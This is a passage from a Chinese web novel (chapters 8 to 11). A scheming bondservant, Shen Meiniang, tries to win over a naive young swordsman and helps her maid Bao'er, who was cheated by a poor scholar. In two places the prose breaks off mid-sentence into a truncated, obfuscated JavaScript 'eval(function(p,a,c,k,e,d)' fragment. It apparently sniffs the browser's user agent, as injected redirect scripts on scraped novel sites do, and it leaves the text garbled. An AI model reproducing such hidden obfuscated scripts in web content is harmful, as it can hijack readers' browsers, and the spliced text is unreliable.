沈美娘瞧了他好一会儿,才道:“原是如此,那当真是恭喜宋少侠了。” “区区小事,何足挂齿。”宋江江谦虚摇头。 他就坐在沈美娘身边,高兴得止不住笑。 沈美娘看他这样,忍不住逗他:“不是和你说不准……” “那句诗是我娘告诉我的,是位很厉害的大诗人李白写的,意思是做好事不留名。后面那句是说‘小事而已,不用太在意’。”宋江江立刻给沈美娘解释。 他担心沈美娘生气,有些不好意思:“抱歉,我习惯这么说话了。我下次一定不会再说这些文绉绉的话了。” “没事。”沈美娘摇头,“我不准你说,是不想和你说话麻烦。不过你每次都和我好好解释了,倒也可以说。” “你说的那个‘李白’是很厉害的诗人吗?我怎么从来没听说过他?他能比松山遗老还厉害吗?”沈美娘不解。 她评价一个诗人出不出名,一个大官的官够不够大,就是看说书先生讲没讲过他们缠绵悱恻的爱情故事。 李白的爱情故事她可从没听过,指不定是这个小剑客欺负她没读过书,随口编来哄她的。 “当然!”宋江江毫不犹豫,“我最喜欢他的诗和苏轼的词了!你不知道他们,是因为他们不是这里的人,他们是我娘亲家乡那边的人。” 沈美娘不信:“你娘亲不是明州人吗?松山遗老也是明州人,他的诗文不也是天下传。” 沈美娘看到宋江江好看的眉眼,涌上几许纠结惆怅。 半晌,他才下定决心,压低声音和沈美娘道:“我娘其实是天上的仙子,她回天上已经很久了。我听闻明州境内有仙山,山中有梯九百九,登完可见神仙,那时我就能和我娘见上一面。” 沈美娘神色复杂地瞧了瞧宋江江。 她听传奇故事都不爱听这种神神鬼鬼的故事,不过听宋江江这话……他娘亲这是去世了,家里人编来哄他的吧。 他还真能相信。 “那祝你成功吧。”沈美娘也不能直接说宋江江娘是死了,只得顺着他说。 没成想宋江江看向她的目光立刻变得不同,和问她“吴老二”相关的事一模一样。 宋江江:“这话我娘的手札上也有!” 这些日子他和沈美娘聊吴老二时,也觉得她的反应不太对。 但此刻听到熟悉的话,宋江江放下心底的疑惑。 沈美娘有些没反应过来,下一刻,她就听到了宋江江热切而期待的声音:“你也是天上的仙子吗?” 少年眉目疏朗,目光澄澈,看得人不由心软。 即使沈美娘早就撒谎成性,也在此刻不得不沉默。 8. 第8章 沈美娘从小到大为了活得更好,素来是见人说人话,见鬼说鬼话。 她骗过的人得有百八十个,她也知道自己认下和宋江江母亲是同乡,或许这人便会留下来为她所用。 但在短暂的沉默后,沈美娘“嗤”笑一声。 她撩起帏帽长长的白纱,直勾勾看向宋江江:“天上的仙子有我漂亮吗?像我这样的,怎么也得是山野里千年道行的狐仙。” 宋江江知道沈美娘这是在说笑,追问:“你究竟是不是……” 但他的话还没说完,就被一个娇俏的女声打断。 “沈美娘,我回来啦!”宝儿拎着大包小包的东西气喘吁吁。 沈美娘借着宝儿的打岔,终止了和宋江江的话题。 她起身:“你个贪玩好耍的,还知道回来啊?” 沈美娘接过宝儿买的一大堆东西。 她扒拉那堆东西,从里头翻出一朵绢花,是牡丹花型的,很张扬的大红。 她吹了吹,花瓣就柔柔招展。 “宝儿这是买给我的吧?”沈美娘把牡丹花放到鬓边比了比,“好看吗?” “丑死了,就你喜欢大红大紫的。”宝儿撇了撇嘴。 沈美娘知道宝儿是刀子嘴豆腐心,也不生气,只转过身又问宋江江。 “小剑客,你说这朵绢花我戴着是不是很好看?” 她狐狸一样的眼睛眨了眨,盯着宋江江,等他回答。 宋江江偏过头,不自在道:“好看。” “你看吧宝儿,我就说你审美不行。时下以奢靡为美,就是要这样浮华张扬才好看。”沈美娘嘚瑟。 她把绢花收好,笑得眉眼弯弯:“你就是平日里穿得太素净,才追那穷书生这般久,还没追到嘛。” “你怎么知道……”宝儿差点咬到舌头,后知后觉意识到自己说漏嘴了。 沈美娘:“我就是知道,我不仅知道你喜欢那州学姓江的书生,我还知道那书生与你曾是邻居。你娘走得早,还没来得及给你赎身就去了,江家人嫌弃……” 她说着说着想起这里还有外人,瞥了眼宋江江,停下了后面的话。 “总之,我就是什么都知道。”沈美娘负手,“我还知道,你今日又去看姓江的穷书生了。” 她走到宝儿身边,低头嗅了嗅:“你身上的脂粉味,不是我今日用的脂粉。我用脂粉用得重,能盖过我的脂粉味的就只有欢场了。” “但我知道宝儿胆子小,不会去那种鱼龙混杂的地方。那还有可能沾染这种味道的,就只有和乐坊一河之隔的太平街了。”沈美娘道。 太平街和乐坊隔得近,有香粉味飘过去沾染上也不是不可能。 而沈美娘知道太平街离乐坊最近的地方就是州学所在地。 那些商人也真会赚钱,都知道学生钱多又正是血气方刚年纪,竟把乐坊开在河对岸。 “沈娘子,我和他没有私情,我就是去看望他的。”宝儿急忙辩解。 她是叶家的家生子,如今也没攒够赎身钱。 要是让主母知道她背着主君和男人私下来往,一定落不到什么好下场。 沈美娘却出乎她意料摆手:“没事,你才十三四岁的好年纪,不正是少女怀春的好年纪。” 不在年纪小的时候做做美梦,长大了,想做美梦都做不了了。 回芙蓉谷途中,沈美娘把帏帽垫在身后,继续问宝儿:“那穷书生是不是长得很好看,不然怎叫你如此惦记?” “什么嘛,都和你说了,我不喜欢他啦!”宝儿脸涨得通红。 沈美娘“哦”了一声:“既是如此,那下次进城你就留在家中守着,让人家青词也进城来玩玩。” “沈美娘!”宝儿急道。 她后知后觉意识到自己做了什么,瑟缩了一下,闭上了嘴。 沈美娘露出得逞的笑容:“不是说——不喜欢嘛?” 宝儿:“好嘛,好嘛,或许……是有点喜欢的。” “他长得好看吗?”沈美娘问。 宝儿羞涩:“算得上清秀。” “他今年要进京准备来年的春闱吗?” “他、他秋闱都尚未中。” “啊?” 沈美娘惊呼一声,连带着驾驴车的宋江江都跟着一惊。 “宝儿,你也太丢人了吧!你居然就看上个白衣?”沈美娘不解。 她是派人查过那穷书生,听说文才一般,但也没想到竟会这么一般! “那又怎么了?沈美娘,你以为谁都和你一样掉钱眼里,只看得到荣华富贵。”宝儿反驳。 “我爹娘都没了,旁人都说我克亲,我既没你漂亮,又没青词聪慧……”宝儿眼底隐隐闪着泪光,“江哥哥是耕读人家,不嫌弃我,已经很好了。” “胡说。”沈美娘啐了一口。 “好宝儿,你好得很,别听那些话。”沈美娘柔着声音安慰,“一个穷书生而已,连贡生都不是,等以后我出人头地了,我就带你去春闱榜下。” “到时候咱们从状元开始挑,直到挑到又好看又有能力,你还看得上的。”沈美娘不知天高地厚地说着不切实际的话。 但宝儿也不知道为什么,看到沈美娘认真的样子,她竟觉得她一定可以做到。 片刻后,宝儿反应过来:“沈美娘你就会说大话。” 沈美娘:“不是大话,我说真的!一个穷书生而已,有什么了不起的。” 她眼里全是向往之情:“以后我吃香的,就带你喝辣的,我做大官的夫人,也一定让你做大官夫人。” “你就吹吧,谁能吹得过你沈美娘!”宝儿道。 “我是说真的,”沈美娘头摇得像拨浪鼓:“我以后一定给你找个大官,一定是比刺史大人还大的官!” “比刺史大人还大的官是什么?” “唔……丞相啊,尚书啊,故事里不是都这么讲的吗?” 沈美娘用力拍了下大腿:“还有宁王殿下!我们宝儿,做王妃都做得!” 宁王殿下是先帝弟弟的儿子,为人风流又生得好看,可是民间故事最喜欢编排的主儿。 “哼。”宝儿气鼓鼓偏过头,却没再说沈美娘吹牛。 她知道沈美娘这是在哄她开心。 “噗嗤——” 宝儿没笑,沈美娘的话却把一直默默驾车的宋江江逗笑了。 沈美娘窜到宋江江身边:“好啊,小剑客,你笑话我?” 她如今知道宋江江几乎不可能有什么来历后,也不再故意讨好他。 “没有。”宋江江摇头。 他害怕沈美娘误会自己连忙辩解。 “那你是在笑宝儿?”沈美娘又问。 宋江江:“都不是。” “那你在笑什么?” 宋江江被沈美娘追问,只好解释:“我就是觉得你说话真有趣。” 他在宫里时,见到的不是衣不染尘的贵人,就是那些和他说话就战战兢兢的宫人。 即使是小时候,和娘亲流落乡间的那些年,他也从未见过沈美娘这样的姑娘。 她张扬、跋扈,还有点市侩,但却愿意救自己于危难,时不时也会露出温柔的一面。 宋江江也不知道究竟哪一面才是真正的沈美娘。 又可能哪一面都不是。 “那当然。”沈美娘扬了扬头,“我就是很有趣啊,不然那些男的喜欢我什么?” 宋江江的眼角余光扫过沈美娘,看她悠闲晃脚的样子,又在心底给沈美娘加了一点特质—— 她还很自信,像明媚骄阳,永远不会内耗。 应该是“内耗”吧?他记得那些手札里的是这么写的,和沈美娘的性格也能对上。 “你皱眉做什么?”沈美娘问。 她发现着小剑客想事情的时候,就喜欢皱眉,只是他自己好像都没意识到。 宋江江坦然道:“我觉得沈娘子一点都不内耗。” “‘内耗’?这又是什么高深的词,也是书上的吗?”沈美娘问。 “不是,这个词是我娘亲故乡的词,它的意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见宋江江不动,她解释:“你伤好得差不多了,但也不能太过劳累,去躺躺吧。” 沈美娘挥了挥鞭子,驴车比刚才宋江江驾时快了不少。 不算平整的官道有些颠簸,宝儿揪着草垛,又怕又急:“沈美娘,你就不能慢点吗?” “你不是饿了吗?”沈美娘道,“早点回家才是正事。” 虽是这么逗宝儿的,但沈美娘终究还是放慢了驴车。 宋江江坐在沈美娘身后,看到她发髻上的栀子被风吹得颤颤巍巍,但她本人还是毫无畏惧。 绚烂的晚霞铺满了大半天空,似乎也为沈美娘的红衣镀上一层金边。 他突然意识到,沈美娘不是张扬跋扈和市侩,而是鲜活明丽,像她喜欢的鲜妍花朵那般。 晚风乍起,吹得人衣袖纷飞,也将沈美娘发髻上的花倏地吹落下来。 还好,宋江江眼明手快,一伸手就够到了被风卷走的花。 他对似乎毫无察觉的沈美娘道:“沈娘子,你的花掉了。” 但这次沈美娘没有回身,也没有立刻回应。 等风停下,她才轻笑道:“小剑客,送你了。” 宋江江听到这话手足无措,原本轻盈的花朵仿佛变成了烫手的山芋。 这头上用的簪花怎么能随便送人。 在上京,春时赏花,甚至有折花定情的说法。 宋江江的手指无意识拂过栀子花的花瓣,柔柔的,软软的,让他想起早晨时沈美娘揽着他的感觉。 “沈娘子,在上京有折花送情人的习俗。”宋江江红着脸道。 他觉得还是不要占人家沈娘子便宜,万一她不知道…… “我知道。”沈美娘爽朗道,“所以送给你。” 宋江江捧着手里的花,心弦微动,有些喘不过气来。 他心里还没想明白这事,却已经听到了自己下意识回答的声音:“多谢。” 9. 第9章 第九章 沈美娘原以为自己先是搂着宋江江,又是送他花,这小剑客怎么都该上钩了。 却没成想,自从那日她送了栀子花后,宋江江反而处处躲着她。 她到厨房外找宋江江,他就推说该熬药,转身就进了厨房,等她跟着进去,他又忙不迭说什么该去晒衣裳…… 宋江江就跟老鼠躲猫一样躲着她。 沈美娘都忍不住怀疑这个宋江江是不是真是个天残了。 怎么她都意思到这个份上了,他还像块木头? 不过这世上就没有她沈美娘得不到的东西。 这日黄昏吃完饭,她堵在厨房门口,不准宋江江进去:“不着急洗碗,你先回答我几个问题。” 宋江江抬眼看了她一眼,又匆匆低头,不敢和她对视。 沈美娘见宋江江想出去,立刻又换了个姿势,一条腿横在门前,阻止他离开:“不许走。” “你先回答我几个问题,说完我就放你走。”沈美娘道。 宋江江躲闪的眸子,终于退无可退,被迫与沈美娘对视。 他也没开口,像是打算和她就这么僵持下去。 “不说话?”沈美娘毫不露怯,“那就这么耗着吧。” 她抱着手负在胸前,好整以暇瞧着眼前人。 半晌,宋江江先败下阵来,无奈道:“你问。” 沈美娘直截了当:“我好看吗?” 宋江江大抵没想到沈美娘会问这样的话,猛地低头,但飞速变得绯红的耳朵已经暴露了他所有的心思。 “你回答我。”沈美娘不依不饶。 “好看。” “你是觉得我不检点、不守妇道吗?” “没有。”这次宋江江毫不犹豫摇头。 他像是生怕沈美娘误会他。 沈美娘倒是没想到这小剑客对这个问题如此敏感,有些疑惑:“那你怎么不喜欢我?” 既然这小剑客喜欢她的脸,也不是那些满口礼仪规矩的儒生。 那怎么还不喜欢她? “沈娘子于宋某有救命之恩,为人也直爽大方……”宋江江的脸涨得越来越红,“谁都喜欢沈娘子。” 沈美娘闻言眯了眯眼。 这小剑客仗着自己读书识字,跟她在这玩这些辞令游戏呢。 若换了个脸皮薄点的,恐怕还真不好再追问下去,可惜——她沈美娘脸皮厚得很。 “宋江江,我说的可不是这个意思的喜欢。”沈美娘轻笑一声,“我说的,是想和你被翻红浪的那种喜欢。” 她还是听传奇故事学会的“被翻红浪”这个词,应该没有用错吧。 沈美娘踮起脚,贴着他的耳朵道:“我——看上你了。” 她对着宋江江早已红得滴血的耳朵,轻轻吹了一口气。 宋江江的睫毛颤了颤,不可思议地盯着沈美娘:“你……” 沈美娘一点都没有做错什么事的自觉,不服输地盯着他,回应他的目光。 “不行。”宋江江用力掐了自己一把,猛地推开沈美娘。 沈美娘看到这人的反应彻底沉默。 宋江江还是不是男人? 算了,这个男的她不想勾引了。 他一定是天残,他肯定不行,不然不可能到这个份上还这样! 沈美娘没再管欲言又止的宋江江,转头就走。 她也没管身后追上来的宋江江,把门板一合把人关在门外。 “我要睡了,宋少侠请回吧。”沈美娘道。 她已经好长时间没这么客气喊过宋江江。 说完这话,连沈美娘自己都愣了一下,片刻后才反应过来。 这段时间为了把宋江江哄到手,她都有点过于投入了。 这可不是什么好事。 沈美娘听到门外面似乎没了动静,以为宋江江已经离开了,却在转身欲卸去钗环时,又听到宋江江有些迟疑的声音:“沈娘子,我刚才推了你一把,没弄疼你吧。” “我自幼习武,刚才忘了收着力……”宋江江盯着门板,眼里写满了懊恼和后悔。 他一时情急,竟忘了沈娘子是个十七八岁的娇柔姑娘,真是太不该了。 沈美娘坐在妆台前,故意晾了那小剑客一会儿,才边摘去头上珠钗边嗔怪道:“怎么不疼?好疼的!哎呀,都把我肩撞青了。” “对不住,对不住……”宋江江连声道歉,“我去喊青词姑娘来给你瞧瞧吧?” 沈美娘拆珠花的动作一顿:“不必了!” 这小剑客到底是哪里长大的?当真连开玩笑和情趣都不懂,真是仙山上长大的仙人不成? 宋江江:“可是……” “逗你的,我没受伤。”沈美娘算是怕了这个宋江江,“我是在山野里疯跑长大的,没你想的那般娇弱。” “真的?”宋江江还是不信,“要不我还是……” 沈美娘拆完最后一朵珠钗,开始洗脸上的妆容。 听了宋江江的话,她喜欢逗人的坏性子又被挑起:“不是蒸的?难不成还能是煮的,也对,说不定还是烤的。” 宋江江听到这话却愣住。 类似的话,那些札记里也有记录。 虽然,沈美娘并不全然像他娘亲家乡的人,但她总是说些札记上记录的话——沈美娘肯定是知道些什么的! 他或许也能和沈美娘说更多从不对旁人提起的事。 “沈娘子,我不是不喜欢你。”宋江江继续解释。 沈美娘自顾自卸妆:“哦,那你是怎么呢?” 宋江江注意四下无人,鼓起勇气才开始剖白:“沈娘子,你应当也是知道些我娘家乡的事吧。” 沈美娘想起之前这人把她错认成他娘亲家乡人的事情。 她一直没明确承认也没否认。 沈美娘还在思考究竟该不该坦白这个误会,就听到宋江江道:“我娘家乡和这里不一样,很不一样。” “在那里,十八岁以前是不能谈恋爱的,如果恋爱的话,就是早恋。”宋江江其实也没去过那个地方,他只能根据娘亲的口述和札记上的记录描述。 “如果早恋的话,会被老师和父母批评教育的……”宋江江顿了一下,“我还没满十八,不能早恋。” 沈美娘听到这话沉默片刻,随即笑出声:“小剑客,你编故事也编像一点。不会编故事就去多听听说书先生们说书。” 十八岁之前不能早恋?那岂不是还会规定二十岁才能结婚? 世人都说她沈美娘满口歪道理,她看这小剑客才是满嘴谎话,编故事都不会编。 古往今来,哪个王朝的律法这么规定的,本朝律法更是规定女子十八不婚者要交两倍口赋。 “不喜欢我就直说,我又不缺人喜欢。”沈美娘道。 何必编这种谎话来骗她! 就算这小剑客确实剑术过人,但世上剑术好的又不只他一人,她以后再找会心甘情愿保护她的就是了。 沈美娘梳了梳她如锦缎般倾泻而下的青丝,瞧着铜镜里的自己满意地笑—— 有这张脸在,办法总比困难多。 宋江江想要辩解自己不是那个意思,却先一步被沈美娘打断:“你去睡吧,我也要睡了。” 她这个人从不钻牛角尖,事情做不成,那就早些睡觉吧,睡觉养颜还对身体好。 宋江江听到审沈美娘像是“逐客令”的话,试探问:“你是生气了吗?” “没有,我是真困了。”沈美娘道。 她吹灭屋内的蜡烛,也不管宋江江走没走,自顾自躺上床睡去了。 沈美娘一向是沾床就睡的习惯,今夜却不知为何毫无睡意。 她回想起宋江江刚才说的十八岁之前不能早恋的事。 官府让百姓早婚就是希望大家多生孩子,才有更多的人去耕地,再交田租地税口赋……总之就是五花八门的收钱方式。 旁人都说她沈美娘只是一个讨好权贵的工具,可若从这一点来说,这天下,谁又不是工具呢? 除了那享天下供养的皇帝。 宋江江说他娘的故乡不早婚——也不编的像点,难不成他娘的家乡没有皇帝,还不用种地不成。 沈美娘一个鲤鱼打挺起身,喃喃:“没有皇帝,不用种地,还晚婚……” 说着说着,她拍了一下脑袋,让自己清醒过来。 果然不能晚睡,这种会被诛九族的事她都敢想了。 “呜呜呜——” 沈美娘刚躺下,就又听到了呜咽声。 沈美娘想起宋江江单纯幼稚的蠢样,觉得肯定是他在外面哭。 不是,她刚才也没凶宋江江,他这也能哭啊? 跟个小屁孩一样,说不得骂不得。 沈美娘起床披衣,推开门轻斥:“别哭了,我真没生你气。” 但她眼前除了月光透过林翳在石板上留下的清浅光影,旁的什么都没有。 那是谁在哭? 沈美娘又仔细辨认了一下声音来源,最终确定声音是从小竹林中传来的。 她住的竹屋主屋,其后正好有片小竹林。 宝儿怕招蛇一直都说要砍了去,但那丫头懒得很,到现在这事都没后文。 沈美娘提了盏灯,又揣了把匕首入袖,方循声而去。 越靠近竹林那哭声就越明显,她仔细辨认,就听出了这是女子的哭声。 沈美娘并不信神鬼之说,冲不远处的竹林道:“何人在此?” 她瞧着竹林里那黑漆漆的“一团”似乎动了动,但并没有回话。 “你不说话,我可就进来了!”沈美娘提灯往林中去。 那“一团”见沈美娘真的进来了,连忙逃跑, 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随着越来越靠近,在灯笼光的映照下,她的脸也就清晰了起来。 是宝儿。 “美娘!”宝儿哭着扎进沈美娘怀里,“那里有蛇!” 沈美娘看宋江江想拔剑斩杀那条蛇,急忙拦住了他,一把抢过他的剑:“借你的剑用用。” 她轻手轻脚走到蛇附近,用剑鞘抵住蛇的颈部,又拿灯笼照了照。 蛇身上青色的鳞片在沈美娘的灯笼下,映出清凌凌的春水般的绿光。 “一条“青竹标”而已。”沈美娘道。 这种蛇毒性不大攻击性也不强,喜欢栖息在枝叶间,一般都在晚上活动。 沈美娘离远了几步,眼疾手快提起剑鞘,那蛇便立刻往竹林深处去了。 “多谢了。”沈美娘把剑扔回给宋江江,“人家蛇住竹林里,真论起来是咱们占了别人地盘,动不动就拔剑可不是什么好习惯。” 宋江江闻言点头,忍不住偷看沈美娘。 刚才沈美娘的一系列动作,就像他听说的江湖女侠那样干净利落。 他觉得沈美娘比他更像江湖人士。 “说吧,半夜跑竹林里哭什么。”沈美娘问宝儿。 宝儿被蛇吓住了,听到沈美娘的话才反应过来:“没什么,就是想我娘了。” 她娘叶大娘过世好几年了,宝儿如今年岁小,想娘亲了哭,倒也说得过去。 但沈美娘可不是好糊弄的。 宝儿平日里想她娘都会整理她娘的遗物,对着那些东西哭。 今日避开众人跑到竹林里哭,明显就是不想旁人知道原因。 她道:“老实交代,不然下次遇到小青,我可就不救你了。” “我说了,就是想我娘了嘛!”宝儿撇嘴。 沈美娘耸了耸肩:“不说算了。” 她拉住宋江江的手就走。 宋江江愣了片刻,旋即反应过来沈美娘的用意,也跟着她快步离开。 宝儿急忙追上来:“美娘你走慢点,我怕还有蛇……” “那你给我说清楚,今晚一个人跑到这里哭什么?”沈美娘站定。 她本就生得比一般女子高,在不过豆蔻之年的宝儿面前,更显得压迫感十足。 宋江江这才发现不施粉黛的沈美娘,和白日里的她全然不同。 她有一双狐狸眼,勾人、漂亮,还写满了野心和冷意。 好像这才是真正的她,至于那个看谁都笑吟吟的娇软美人,不过是她为自己精心缝制的人皮面具。 “我、我……”宝儿结结巴巴。 沈美娘知道快问出结果了,又软下语调,将宝儿揽进怀里哄:“宝儿,别怕。美娘姐姐答应你娘要照顾好你的……你告诉姐姐,就算是什么官人、神仙欺负你,姐姐也不叫你吃亏。” 月光洒在沈美娘松松挽就的发髻,和她一身月白衣裳上,温柔得像书里的仙子。 “呜哇——”宝儿大声嚎哭出来。 沈美娘轻轻拍着她的肩,安慰道:“没事的,受了委屈,哭出来就好了。” “美娘姐姐,我娘留给我的镯子和我攒的赎身钱,都被那个臭穷书生骗走了!”宝儿愤怒道。 “啊?”套到了话的沈美娘不解,“你和男人谈情说爱还掏钱?” 宝儿呆呆道:“他说他想去上京试试运气,但没盘缠……” 沈美娘更疑惑了:“你这就给了?” “嗯……可是美娘,我以为他对我是真心的,这种情况难道你会不管吗?”宝儿反问。 沈美娘沉默了一下,道:“我不会和穷男人有任何瓜葛。” 她对没利用价值的男人没兴趣。 10. 第10章 等回到竹屋,沈美娘把跟着进了闺房的宋江江推出去。 见他愣在门口,她歪了歪头:“宋江江,你家里人没教过你待人处事吗?女孩子的事,尤其是这种涉及情情爱爱的,你少管。” 宋江江后知后觉点头:“那需要我帮什么忙吗?” “你去帮我把那个穷书生剁了吧,顺便把宝儿娘的遗物拿回来。”沈美娘笑道。 她看到宋江江眼里闪过错愕的神色,“噗嗤”一声笑出来:“逗你的。” “杀人是要偿命的。”沈美娘站在台阶上,弯腰和台阶下的宋江江对视:“我暂时还不想死。” 她伸手替宋江江理了理他有些凌乱的鬓发,指尖落在宋江江的眉宇间,像有情人般端详这人的脸。 这个小剑客除了一身好本事,长得确实也合她心意。 宋江江的睫毛颤了颤。 两人隔得太近,近到他以为沈美娘是要亲吻他——但他却不知为何没有避开。 沈美娘看着宋江江只倒映着她的身影的眼睛。 他的眼神干净、纯澈。 她从来没见过有男人这么看她,这般不含欲望的眼神,也证明他真的一点都不喜欢自己。 爱一个人可不是这种眼神。 爱情是占有,是侵略,是这世上最浓烈又让人恶心的感情。 沈美娘有些意兴阑珊,退后一步:“小剑客,你要真这么闲,就去厨房给我煮碗面。” 宋江江还沉迷在刚才沈美娘的动作里,愣了一下,才急忙道:“好、好!” 赶走宋江江后,沈美娘进屋坐下,把桌上的点心推给宝儿:“饿不饿?饿了就先吃点点心垫垫,我让宋江江给你煮了点面,恐怕还得要一刻钟才能好。” 这小丫头晚上没吃多少,又在竹林里不知道哭了多久,肚子肯定饿了。 “美娘……”宝儿接过点心啃了两口就眼泪汪汪。 “你别哭啊!你快吃完把这件事给我讲清楚。”沈美娘道。 沈美娘说完,宝儿又急匆匆往嘴里塞点心。 她见状给宝儿递茶水:“让你吃快点,不是让你噎死自己啊,慢点吃……” 等宝儿吃完,才把她和那穷书生的事情一一和沈美娘道来。 两人从小认识那些事沈美娘倒是知道的,听到宝儿说那人是在去年才又找上她的,沈美娘忍不住皱眉。 沈美娘去年见宝儿年岁渐长,怕她养成眼皮子浅的毛病。 在沈府的月钱外,她每月都偷偷多贴补宝儿十两银子用,算上她平日里给宝儿报销的脂粉钱、新衣钱,宝儿的用度比司马府上的姑娘们还多。 这个书生来找宝儿,怕是一开始就盯上了她的钱。 宝儿:“他给我道了歉,说当年他年纪还小,家里长辈说要退亲,他也做不得主,求我原谅他。” “你这就原谅呢?” 见宝儿点头,沈美娘都被气头疼了,深吸一口气,才继续:“那你又是怎么发现是被他骗了的?” 还能发现那姓江的不是好东西,也还算是有救。 “上次和你们进南州城,我给了他我这些年攒的钱,他和我说还不够,我就前两日又去了一次……”宝儿说着说着就委屈地哭了,“我把我娘留给我的那几个银镯子和珠钗都给他了。” “他和我说等他明经及第后,就把钱全还给我,还答应会和我成亲的。”宝儿用力把眼泪擦掉,“我前两日把钱给他后,心里总惴惴不安,就回转过去想叫他写份借条给我。” 沈美娘听到这话,忍不住揶揄:“你还知道给人借钱要让人写借条啊?” 她真是对宝儿这个傻丫头没辙,要换一个人这么“单纯”,她早就不想管了。 “美娘我错了嘛,你说的没错,掉钱眼里没错。”宝儿扎进怀里哭。 起码沈美娘就永远不可能被男人骗钱。 沈美娘安慰宝儿:“快说你怎么发现他骗你的?” “我知道自己出身卑微,害怕他被同门笑话,都是从偏门进州学。但那日我得赶在宵禁前离城就走了正门,就听到……”宝儿沉默片刻继续道,“听到他和人说我不过是一个贱婢,怎么可能娶我这样的人。” “他说全是我日日缠着他,但念及昔日情分,他又不好与我直说。”宝儿委屈又不甘,“明明是他主动先来找的我,是他自己说会娶我的……” “好宝儿,乖宝儿,都是那黑心肝的臭书生的错。”沈美娘不再责备怀里的人。 沈美娘见宝儿不哭了才问:“那你现在是怎么想的?” 她借赵家兄妹的手,在南州也有人可用,打一顿那个臭书生,把钱要回来轻而易举。 可这实在是太便宜那个书生了。 沈美娘眯了眯眼。 那个姓江的欺负宝儿,死一百次都不够——就是不知宝儿是如何想的。 宝儿:“我想把钱要回来,还想告诉别人这件事不是这样的,我不是那种人……但是我不敢。” 她是贱籍,姓江的是良人,以贱诋良是犯了律法的,更别提以后万一那姓江的科举考中了,对付她一个奴婢简直易如反掌。 而且……会有人相信她的话吗? “我就是一个卑贱的奴婢,我就算说了,旁人也不会信。”宝儿低下头。 她只恨自己识人不清。 沈美娘听到这话,转身去她那个大箱子里扒拉,在最底下找到了一个木匣子。 她把木匣子塞到宝儿手里:“你娘当年去世之前给你攒够了赎身钱。那时你方九岁,叶大娘担心你年纪小被骗了钱,又想着我这里是个好去处,就嘱托我先照顾你,待你及笄之年再给你。” 如今看来这担心还真没错。 “你拿去赎身吧。”沈美娘道,“至于科举……姓江的若是名声坏了,州学肯定待不下去,那些高官养幕僚也不会养那种废物。” 那个叫江瑞的,到现在连贡生都混不上,就说明读书做人都不行,不足为虑。 沈美娘拉住宝儿的手,温柔询问:“你只要说你想不想就可以,剩下的,交给美娘姐姐就好。” “好,我去!”宝儿道。 她抱紧沈美娘:“美娘,我以后再也不说你讨厌了,我一定把你的牡丹花都养好!” “那我不信,你都把我的牡丹花养死多少了?”沈美娘挑眉,故意逗宝儿。 宝儿下意识道:“沈美娘你坏!” 说完她就捂住嘴,有些不好意思地笑了笑:“不是真坏,美娘是好美娘!” 沈美娘轻笑,点了点宝儿的头:“知道了。厨房那边有香味,应该是面好了,去吃吧。” “好!” 宝儿欢欢喜喜去厨房端起面就吃,沈美娘却发现桌上还有碗面。 她抬眼看向宋江江:“你不吃?” “我还不饿。我看沈娘子晚饭也没用多少,就给你们各煮了一碗。”宋江江道。 沈美娘指了指自己的脸:“为了保持我这张脸永远如花似玉,从哪里看都好看,我一直都是吃那么多的。” “这样会对身体不好吧?”宋江江有些担忧。 “不会,青词每日都会替我诊脉的,我身体康健得很。”沈美娘有自己的一番“大道理”,“为了以后的大富大贵,现在少吃点不算什么。” 宋江江听到沈美娘的话,问:“沈娘子,荣华富贵真的就那么重要吗?” “当然。”沈美娘毫不迟疑,“觉得不重要的人,叫他下地犁两亩地,再三天饿两顿就老实了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沈美娘愣住:“你说什么?你拿螃蟹煮面,还打算把剩下的螃蟹直接扔掉?谁教你这么做饭的?” 她就说怎么最近青词总和她说食材用得格外快。 宋江江不解:“可是这样做出来好吃啊。” 沈美娘沉默,然后又拿勺子舀了一勺汤…… 好吧,确实。 “下次不许这样了。”沈美娘道。 那个叶司马抠死了,每个月给她发的粮食、月例都是勉强够用,全靠她自己掏钱补贴。 不过等她以后被献给贵人了,再让宋江江这么做饭倒也不错。 她们一行人得每天都胡吃海喝吃回本才行。 沈美娘心里这么想着,却没注意自己的碗里的汤快见底了。 宝儿:“美娘,好吃吧?” 她就说这个面好吃,汤也好喝,要不是担心吃太多睡不着,她还能再吃三碗。 沈美娘这才发觉自己已经吃了这么多了,和起初说的只吃一两口全然不同。 她放下筷子,就听到宋江江的声音:“沈娘子,你觉得好吃吗?” 他眼里满是期待,似乎很想得到自己的认可。 “还行吧,能吃。”沈美娘咽下最后一口面条才道,“我吃完是为了不浪费。” 宋江江听到这话,眼里的光瞬间黯淡下来:“我知道了……我会继续努力的。” “没说你做得不好吃。”沈美娘发现自己见不得宋江江不高兴,“挺好吃的。” 他那么好看的眼睛应该一直笑着才好。 宋江江听到这话立刻笑开:“好!我会继续努力的!” 沈美娘看到宋江江眼睛笑得像月牙,转过头不看他。 这是做什么? 不就是夸他两句做饭好吃吗?有必要高兴成这样吗? 宋江江也太没出息了。 11. 第11章 宝儿赎身的事原本是要办很久的。 本朝自建立以来,良贱之别就如云泥之别,像宝儿这样的客女想脱贱籍都要先向主家呈报,再经由官府层层核实才能脱籍。 沈美娘就给叶司马写了封信请他出面,帮宝儿脱籍快的就不是一星半点儿。 除了脱籍需要缴纳赎身费用外,入良籍也需要足额的资产才行。 沈美娘这两年陆陆续续托赵氏兄妹买下的田产,此刻也就有了用武之地。 “美娘,你也太厉害了吧!”宝儿捧着自己的新的户籍,“这么快就弄好了!” “那当然,你也不看看我是谁。”沈美娘得意地扇了扇她手里那把扇子。 宝儿却有些疑惑:“美娘,你有这样的好本事,怎么不给你自己脱籍呢?” 沈美娘的笑容滞了片刻,才道:“我是官奴婢,这可不是有钱就能解决的。” 宝儿自知说错了话,连忙转了话头:“美娘,我去给你折今日进城要戴的山石榴!” 她风风火火出去时,差点撞上来给沈美娘送茶水的宋江江,连声道歉。 宋江江:“宝儿姑娘,这是怎么呢?” 